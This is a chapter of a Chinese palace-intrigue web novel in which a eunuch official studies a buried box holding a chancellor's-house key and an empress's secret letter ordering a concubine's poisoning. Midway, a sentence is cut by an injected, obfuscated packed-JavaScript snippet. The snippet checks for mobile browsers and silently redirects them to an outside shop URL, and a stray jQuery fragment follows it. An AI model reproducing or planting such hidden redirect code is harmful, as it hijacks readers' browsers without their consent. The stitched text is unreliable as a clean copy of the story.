裴三匍匐原地,却迟迟未听闻裴承槿的声音。
裴府寂静一片。
月辉落地,却被斑驳树影裁剪些许。最后,只余稀松光亮照在裴承槿的肩头。
裴承槿俯身,托起裴三的手臂:“此事,不再提及,起身吧。”
“多谢厂公!”
裴三观裴承槿面色,知其应是还有心事,以为事关裴九,便开口道:“厂公,裴九是有事出去了。有一阵子,快回来了。”
裴承槿本在思索宋黛一事,却冷不丁被转移了注意。
“可知何事?”
“裴九未曾同我细说,只说事情紧急,便只身而出。属下还以为是厂公吩咐了任务,也没再多问。”
说罢,府外打更的声音咚咚作响,震荡在街巷中显得悠长。
裴三奇怪道:“不过,也是去了有一阵时间了,怎的还不回府。”
若是说裴九的手头攥着什么差事,应该就是查探哑巴宫女出宫。
烈风呜呜而吹,窗棂震动,附和着扯开了嗓子,音色凄厉。
裴承槿斜倚在塌边,手肘撑在案几上。
原本束起的长发也被散开,铺洒一背。恰逢火光闪烁,黑发上暗光流转,微微漾出了细碎的金黄。
裴承槿的大半张脸掩在阴暗处,烛火跳动,光芒不及。垂下的长睫处阴影更深,眸中的疲惫被完全遮盖。
身侧的呜鸣声更似哽咽。他听着,却好像在这孤寂之中,找到了空旷的栖息之处。
白日,他要揣测圣意,彰显价值。
傍晚,他要智斗太后,保住性命。
进退维谷,却不得不走。
此刻,裴承槿卸下防备,不用再堆砌笑脸,也不必再掏出所谓的忠心。
红痣一颤,他有些难受地拧住了眉。
裴承槿终于发觉自己的双眼开始发涩发干,身体似乎开了小孔,心气在向外泄出。他长叹一口气,白汽随即被冷风吞噬,迅速消散。
“厂公!厂公!”
裴九的声音自屋外响起,没等裴承槿应答,裴九已经冲进屋内。
见裴承槿长发披散,脸被遮住大半。裴九瞪大了眼睛,身子则卡在木门处,手中还不知攥着什么东西。
“既然进来了,还不快些关上门。”
裴承槿收回目光,神色淡淡。
裴九后知后觉自己没规没矩,赶忙道歉:“请厂公责罚!属下一时情急,失了分寸!”
“回来路上,避开巡视的人了?”
“是!”裴九拱手行礼,又道:“今日太阳下山后,属下特意去了趟城郊坟墓。果不其然,属下有所收获!”
裴九将手中的东西递在裴承槿面前,是一个沾满泥土的破旧木盒。
借着火光,裴承槿看清裴九手上泥沙未净,询问道:“用手刨的?”
“是!厂公请看!”
木盒上的铜锁并不难开,裴九将锁扣损坏,其余的,水到渠成。
而木盒之中,似乎是一封多年前的信件,和一柄纹样繁复的金制钥匙。
裴承槿一眼看见金制钥匙的纹样中心,应是一个“慕”字。
面色骤然变差,他一把抓起钥匙,厉声问道:“这些,是从哑巴宫女所祭拜的坟前找到的?”
“是。属下特意打听过了,此处坟墓偏僻,负责看守的墓户一年到头也见不到几个人。故此,才对赶来祭拜的宫女印象深刻。”
烛火下,钥匙色调暖黄,又在忽明忽暗的变化中生出了流动的光影。
这柄钥匙虽瞧着有些年份,表面也被细灰裹上了一层,但仍能看出此物雕刻精细,做工精巧。
“确定是哑巴宫女藏的吗?”
“回厂公,藏着木盒的坟墓墓碑,并未刻写逝者姓名和身份。但根据墓户所示的方向,位置并无差错。”
说到此处,裴九微微停顿,轻抿嘴唇。然而于事无补,他那干燥的嘴早已被寒风冻出了裂皮。
“其实,若是单单凭借方向,属下并不能确定。究其根本,是属下发现,只有这处坟前的三足香炉,在它的兽足下端,有因土壤侵蚀而留下的痕迹。可在属下赶来之时,此处痕迹却并未尽数留于土中,反而是一半在土下,一半在土上。”
“故而,属下推断,这香炉应是被人移动过。”
裴承槿抬眼,稍稍颔首,示意裴九继续说下去。
“倘若是普通人家祭拜亲人,并不需要将碑前的香炉从原处移开。但若是有人想要藏些东西,那墓碑之前,香炉之下的这块地方,当为极好的选择。”
“因此,属下便尝试找了一下。果真从香炉之下的土壤中,翻出了这木盒。”
“看来,裴九已经是明察秋毫,见微知著的大人了。”
裴承槿微微一笑,笑眯了一双凤眼。他上扬的眼角拉出一小片深色阴影,下睑则压出了一条横卧的春蚕。
裴九还是从裴承槿略显平淡的语气中,品出了几分欣慰的称赞。
“跟着厂公耳濡目染,属下也精进了些!”
裴九心中欢喜,说话的语气也昂扬不少。
“只是,属下猜不出钥匙的来头,而这封信,也先拿给厂公过目了。”
裴承槿当然能认出这柄钥匙。
一个“慕”字,代表这是丞相府的物件。
整个皇都,除却丞相府为慕姓,便再无此姓。
而它的材质、做工,则证明这钥匙锁着的东西,应是珍贵非常。
但,究竟是什么东西,裴承槿毫无头绪。
他虽为相府之女,却是在少时离家。家中种种,能记的,不过寥寥大概。
他的父亲、母亲、哥哥,祖父、祖母,家中叔伯、姨母,表兄、表姐。所有人的面目,早已模糊不清。
似是有一层薄纱,将过去的记忆遮盖。越想记起,越是遥远。
唯一清晰如刀刻的,只有复仇二字。
裴承槿的眼睛掩在长发之下,遛到身前的几缕正随着进屋的寒风,悠悠而荡。
裴九见他迟迟不语,出声唤道:“厂公?可是有主意了?”
他像是溺了水的人,终于得到了一口呼吸。裴承槿恍若隔世,浑身剧烈一震。
“厂公?”
裴九分不清状况,还以为是屋中寒冷。
“可是太冷了?我去为厂公端来一盆炭火!”
未等裴承槿开口,裴九已经跑出了屋子。
这种无法掌控的自己,不是裴承槿熟悉的自己。
他攥紧双手,任由指甲嵌入皮肉。
窜行的痛楚让他迅速清醒。良久后,他放下钥匙,打开了那封信。
信件之上,已有陈年痕迹,却仍未遮盖住那由金线绣成的凤穿牡丹纹样。
凤仪宫密谕
秋水居尔朱氏,谋害皇嗣,已失帝心。帝王念其国破家亡,茕茕孑立。遂褫夺封号,永锢冷宫。
然,尔朱氏以麝香渗入本宫寝衣,以至皇嗣化血。夺子之仇,蚀骨锥心。
今赐菱霜三钱,此物晶莹剔透,入寻常胭脂,无痕无迹。
尔借服侍之便,使其混入香脂。百日之后,毒入骨髓,咳血而亡。
太医院将作“疠风”之论。
永康十四年十月初六夜漏五更
这信笺以玄色暗纹绫为底,朱砂书写,加之凤穿牡丹的纹样,当为皇后所用。
况且字里行间,尽是对尔朱氏的憎恨之情。
先皇的后宫之事,裴承槿所知不多,但是这尔朱氏谋害皇嗣,还是有所耳闻。
当时,皇后所怀,是第二子。虽为第二子,却仍是嫡出的皇子。
重要程度,不言而喻。
奈何皇后千防万防,还是没能发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644702|187590||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现自己寝衣之中的端倪,以至胎儿不保。
皇后落子,先皇震怒。一番搜查,却在尔朱氏的秋水居发现了麝香踪迹。
尔朱氏不过嫁入司姓皇室的异族公主,身处他乡,只能依仗虚无缥缈的帝王宠爱。
何况,尔朱氏的母国容川因内政分裂,家族衰落。早在她嫁入天晟后的几年,便消失于历史长河。
尔朱瑶,由和亲公主,成为了亡国公主。
尔朱氏的辩解,苍白无力。她在皇后的凤仪宫前跪了三天三夜,美人之眸,再无神采。
先皇虽疑心另有隐情,却并无实证。种种线索,皆指向尔朱氏。
最后,正如信中所言,尔朱氏被废妃位,永囚冷宫。年过半载,尔朱氏香消玉殒,病死深宫。
裴乐贤奉先皇皇命,将其葬于都城外荒山之上。
“厂公,炭火来了!”
裴九用手肘撑开屋门,冷风盘旋,卷起了裴承槿鬓边的黑发。
炭盆被放在距离裴承槿的不远处,盆内星火四溅。木炭之上,开裂出亮色的纹路。
裴九见裴承槿攥着信件,神情莫测。
“厂公已将信件读了?”
裴承槿颧骨下肌肉颤动,呼吸凝滞。
若是他不曾记错,这尔朱氏,便是司岱舟的母妃,尔朱瑶。
小小木盒,居然装着一柄相府金匙,和一封皇后密信。
一名哑巴宫女,卑贱如尘埃。又如何能够得到这两样东西,还费尽心机藏在了亲人的坟前。
背叛相府,拿到金匙,尚且可行。
但拿到皇后毒杀妃嫔的密信,远非宫女可为。
浑身血液骤然变冷,裴承槿动了动僵硬的手指。他猛然想到,这哑巴宫女得以出宫,正是受了太后的恩惠。
难道是宫女以此信内容要挟于太后,才得以出宫?
但这宫女费劲心思出宫,就只是为了将信和钥匙藏进坟前吗?
又是谁,将这封信交给了宫女呢?
裴承槿思索无果,抬头正见裴九盯着自己。
“怎么了?”他随口问道。
“厂公一直不说话,可是看出了些什么?”
裴九趁着裴承槿愣神的空档,又跑出去拿了个手炉回来。
“属下忧心厂公还会发冷,这是刚热起来的手炉。”
此时已至深冬,窗外风雪不止,屋内冷热交叠。热气远远不及冷风的架势,只能留下须臾暖意。
裴承槿接过手炉,热气儿自手心上窜,他垂眸轻声称赞道:“这次,你做的很好。能发现木盒,还是多亏了你。”
“属下定为厂公鞠躬尽瘁!”
尚未完全长开的少年面上添了一层骄傲之感,裴九昂首挺胸,嘴角上扬。
裴承槿看着,却愈发觉得,岑玖这般少年郎,最是不该将人生坦途,葬送在莫测的深宫之中。
夜半,发颤的归鸟啼鸣哀转,声声凄厉。
裴承槿久久无眠,他摸上手边长剑。剑鞘之上,纹饰镂刻,皆匠心独运。
许是摸着这把长剑,裴承槿方觉混沌的元神重新收敛,脑中清明不少。
司岱舟虽为帝王,却同太后两两相抗。
想必,夺子之恨,太后也不曾相忘。加之大皇子司禾煦死因成谜,司岱舟反而坐收渔利。太后心中,怕是早已将新仇旧恨,算在一处。
宫女藏下的相府金匙,尚且不知用途。但她如此珍视,应有重要作用。
相府寒鳞草,相府金匙。
皇都怪人当街掏心,岐山怪人被人暗中烧毁。
以相府灭门为核心的谜团漩涡,早在不知不觉中,将人吞入腹中。
幕后大手搅弄风云,相府、太后,皆为囊中物。
棋局已布,七日之后,正是皇家冬狩。
天时地利,恐对方已占尽先机。